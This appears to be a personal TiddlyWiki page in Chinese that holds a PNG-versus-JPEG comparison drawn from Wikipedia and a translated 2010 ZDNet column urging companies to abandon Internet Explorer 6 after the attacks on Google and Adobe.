JPEG 在面對自然影像的時候,由於是採用失真壓縮演算法,因此壓縮率比 PNG 還要大。簡單來說,如果一張 風景照片 你用 JPG 來存,需要 1MB 的話,用 PNG 就要 5MB~10MB,雖然 PNG 檔案較大但是在視覺品質上面並沒有顯著的優越。

PNG is a better choice than JPEG for storing images that contain text, line art, or other images with sharp transitions. Where an image contains both sharp transitions and photographic parts a choice must be made between the large but sharp PNG and a small JPEG with artifacts around sharp transitions. JPEG also does not support transparency.

PNG 在處理包含文字、線條和明顯輪廓的影像 則較 JPG 來的優越,當影像有明顯輪廓邊緣,JPG 的失真演算法在處理這種邊緣上就會產生瑕疵,PNG 採用無失真演算法,因此影像品質較佳。

JPEG is a poor choice for storing images that require further editing as it suffers from generation loss, whereas lossless formats do not. This makes PNG useful for saving temporary photographs that require successive editing. When the photograph is ready to be distributed, it can then be saved as a JPEG, and this limits the information loss to just one generation.

若影像儲存在未來是需要更進一步的編輯修改的話則 PNG 是比較好的選擇,若是用 JPG 不斷的存取編輯,那麼圖像的品質就越來越差了。當影像已經編輯完畢準備散發傳播的話,JPG 則可以幫你縮小體積,卻不損失太多的畫質。

因此,寫 Blog 用的電腦視窗截圖,全面改用 PNG 吧,因為面對 這種 文字、線條和輪廓明顯的圖像,PNG 的檔案其實不會比 JPG 大多少,有時候可能還比較小呢 :)

圖像及引述文字來源 @ http://en.wikipedia.org/wiki/Portable_Network_Graphics#Comparison_with
ZDNET部落客:Ed Bott 2010/01/19 07:00:00

若你的組織/企業還在Windows XP上使用Internet Explorer 6,現在該停止了。

市場上現在已經有許多IE 6以外的其他選擇,包括Mozilla Firefox與Google Chrome,若非用IE不可,那麼微軟也有提供更新版的,包括2006年10月就已經推出的IE 7,還有在2009年3月推出的IE 8,後兩者更新版不論在功能或安全性上都有大幅提昇。

若你是企業的IT人員,現在還允許公司裡面可執行IE 6,那你得懺悔自己不夠專業。你覺得這個批判太強烈嗎?那不妨看看Google、Adobe還有一堆最近被中國駭客攻擊導致企業原始碼與機密資料外洩的資安專家吧,這些有組織的駭客是從哪個破口攻入的呢?根據微軟自己的說法,正是IE 6。

「目前,我們知道有部分針對性的攻擊利用IE 6這個漏洞來進行攻擊,我們還沒看到有利用其他IE版本所發出的攻擊。」

微軟在資安回應中心一篇名為「Mitigating Factors」的文章中有明確提到,本次用來攻擊的IE 6漏洞程式並無法在Windows Vista或Windows 7的 IE 7與IE 8發生作用。若你是在Windows XP SP3使用 IE 8瀏覽器,保障會多一層,這是因為預設會啟動「Data Execution Prevention」功能之故。

微軟資安研究中心工程部門的Jonathan Ness在另一篇部落格也說得很清楚:

「至今我們所看到的攻擊,包括已經被公開的範本程式,都只會影響使用IE 6的客戶。較新版本的IE雖然也會受該漏洞影響,不過因為有規避功能,使得駭客比較難得逞。」

若你的組織/企業還在Windows XP上使用IE 6,你可直接把本篇文章寄給你的CEO或CIO,或任何一位公司管理高層。記得以下這張圖片也會放進去:

[img[img/ie6_vulnerability.png]]

沒錯,或許最快這幾天這個漏洞就會補起來了,但一定還會有下一個,且說不定攻擊範本現在就有了。在2010年的今日,市面有這麼多種選擇,貴公司還執意使用不安全的網際網路基礎建設實在沒有理由。

IE 6用戶,該是換一套的時候了。你的IT部門其實早有三年時間可換掉IE 6,若這種事他們處理不來,或許也是該換人的時候了。

&nbsp;&nbsp;&nbsp;''我的最新文章''
<<showUpdates excludeTag:excludeLists write:'(index < 15) ? "|"+(index+1)+"|"+ tiddler.modified.formatString("YYYY-0MM-0DD")+ "|[[" + tiddler.title+"]]|"+tiddler.tags+"|\n" : ""'>>